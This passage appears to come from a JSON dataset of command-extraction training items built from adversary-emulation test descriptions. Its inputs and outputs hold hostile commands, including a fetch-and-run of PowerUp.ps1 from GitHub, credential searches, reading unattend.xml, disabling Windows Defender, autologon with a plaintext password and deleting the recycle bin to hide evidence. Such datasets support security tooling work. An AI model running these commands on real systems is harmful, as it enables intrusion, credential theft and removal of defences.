lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Root privileges can be assigned to the current user or a specified new user by executing this command: dsenableroot #current user\ndsenableroot -u art-tester -p art-tester -r art-root #new user; After running the operation, the user is added to the Admin group with the command: dseditgroup -o edit -a art-user -t user admin", "output": "{\"command_list\": [\"dsenableroot #current user\\ndsenableroot -u art-tester -p art-tester -r art-root #new user\", \"dseditgroup -o edit -a art-user -t user admin\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This atomic test demonstrates IcedID and Trickbot techniques via the command: rundll32.exe url.dll,OpenURL \"PathToAtomicsFolder\\T1218.011\\src\\index.hta\"\nrundll32.exe URL.dll,FileProtocolHandler \"PathToAtomicsFolder\\T1218.011\\src\\akteullen.vbs\"\n, where the HTA opens calculator and VBS displays a message about rundll32 spawning wscript.; Proxy execution of an executable is achieved via the command: rundll32.exe pcwutl.dll,LaunchApplication #{exe_to_launch}", "output": "{\"command_list\": [\"rundll32.exe url.dll,OpenURL \\\"PathToAtomicsFolder\\\\T1218.011\\\\src\\\\index.hta\\\"\\nrundll32.exe URL.dll,FileProtocolHandler \\\"PathToAtomicsFolder\\\\T1218.011\\\\src\\\\akteullen.vbs\\\"\\n\", \"rundll32.exe pcwutl.dll,LaunchApplication #{exe_to_launch}\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To open a local port for any profile, use the following command: netsh advfirewall firewall add rule name=\"Open Port to Any\" dir=in protocol=tcp localport=#{local_port} action=allow profile=any; For allowing an executable through the firewall, the test requires executing these commands to copy the file and set up the rule: Copy-Item \"#{exe_file_path}\" -Destination \"C:\\\\Users\\\\$env:UserName\" -Force\nnetsh advfirewall firewall add rule name=\"Atomic Test\" dir=in action=allow program=\"C:\\\\Users\\\\$env:UserName\\\\AtomicTest.exe\" enable=yes\n", "output": "{\"command_list\": [\"netsh advfirewall firewall add rule name=\\\"Open Port to Any\\\" dir=in protocol=tcp localport=#{local_port} action=allow profile=any\", \"Copy-Item \\\"#{exe_file_path}\\\" -Destination \\\"C:\\\\Users\\\\$env:UserName\\\" -Force\\nnetsh advfirewall firewall add rule name=\\\"Atomic Test\\\" dir=in action=allow program=\\\"C:\\\\Users\\\\$env:UserName\\\\AtomicTest.exe\\\" enable=yes\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n For extracting credentials from files, use the following command to search for 'password' in XML, DOC, TXT, and XLS files: findstr /si pass *.xml *.doc *.txt *.xls\nls -R | select-string -ErrorAction SilentlyContinue -Pattern password\n; The system will attempt to display contents of unattend.xml files, if they exist, by executing this command:\ntype C:\\Windows\\Panther\\unattend.xml\ntype C:\\Windows\\Panther\\Unattend\\unattend.xml\n", "output": "{\"command_list\": [\"findstr /si pass *.xml *.doc *.txt *.xls\\nls -R | select-string -ErrorAction SilentlyContinue -Pattern password\\n\", \"type C:\\\\Windows\\\\Panther\\\\unattend.xml\\ntype C:\\\\Windows\\\\Panther\\\\Unattend\\\\unattend.xml\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To enable automatic logon using Registry Editor, run the following command: New-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name AutoAdminLogon -PropertyType DWord -Value 1 -Force\nNew-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name DefaultUserName -Value Administrator -Force\nNew-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name DefaultDomainName -Value contoso.com -Force\nNew-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name DefaultPassword -Value password1 -Force; To completely remove Windows Defender and its associated packages, use the Deployment Image Servicing and Management tool through these PowerShell commands:\nDisable-WindowsOptionalFeature -Online -FeatureName \"Windows-Defender-Gui\" -NoRestart -ErrorAction Ignore\nDisable-WindowsOptionalFeature -Online -FeatureName \"Windows-Defender-Features\" -NoRestart -ErrorAction Ignore\nDisable-WindowsOptionalFeature -Online -FeatureName \"Windows-Defender\" -NoRestart -ErrorAction Ignore\nDisable-WindowsOptionalFeature -Online -FeatureName \"Windows-Defender-ApplicationGuard\" -NoRestart -ErrorAction Ignore\nBy default, the operation runs silently unless configured otherwise.", "output": "{\"command_list\": [\"New-ItemProperty \\\"HKLM:\\\\Software\\\\Policies\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\" -Name AutoAdminLogon -PropertyType DWord -Value 1 -Force\\nNew-ItemProperty \\\"HKLM:\\\\Software\\\\Policies\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\" -Name DefaultUserName -Value Administrator -Force\\nNew-ItemProperty \\\"HKLM:\\\\Software\\\\Policies\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\" -Name DefaultDomainName -Value contoso.com -Force\\nNew-ItemProperty \\\"HKLM:\\\\Software\\\\Policies\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\" -Name DefaultPassword -Value password1 -Force\\n\", \"Disable-WindowsOptionalFeature -Online -FeatureName \\\"Windows-Defender-Gui\\\" -NoRestart -ErrorAction Ignore\\nDisable-WindowsOptionalFeature -Online -FeatureName \\\"Windows-Defender-Features\\\" -NoRestart -ErrorAction Ignore\\nDisable-WindowsOptionalFeature -Online -FeatureName \\\"Windows-Defender\\\" -NoRestart -ErrorAction Ignore\\nDisable-WindowsOptionalFeature -Online -FeatureName \\\"Windows-Defender-ApplicationGuard\\\" -NoRestart -ErrorAction Ignore\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n The system will show currently logged on users when you run the command: query user /SERVER:#{computer_name}; ADRecon gathers and consolidates Active Directory information into a report, which can be generated by running the following command: Invoke-Expression \"#{adrecon_path}\"", "output": "{\"command_list\": [\"query user /SERVER:#{computer_name}\\n\", \"Invoke-Expression \\\"#{adrecon_path}\\\"\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n An adversary may erase evidence by executing this command to delete the recycle bin contents: rd /s /q %systemdrive%\\$RECYCLE.BIN; To perform a direct access read of the first few bytes of a drive volume, use the following PowerShell command: $buffer = New-Object byte[] 11\n$handle = New-Object IO.FileStream \"\\\\\\\\.\\\\#{volume}\", 'Open', 'Read', 'ReadWrite'\n$handle.Read($buffer, 0, $buffer.Length)\n$handle.Close()\nFormat-Hex -InputObject $buffer", "output": "{\"command_list\": [\"rd /s /q %systemdrive%\\\\$RECYCLE.BIN\\n\", \"$buffer = New-Object byte[] 11\\n$handle = New-Object IO.FileStream \\\"\\\\\\\\.\\\\#{volume}\\\", 'Open', 'Read', 'ReadWrite'\\n$handle.Read($buffer, 0, $buffer.Length)\\n$handle.Close()\\nFormat-Hex -InputObject $buffer\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening 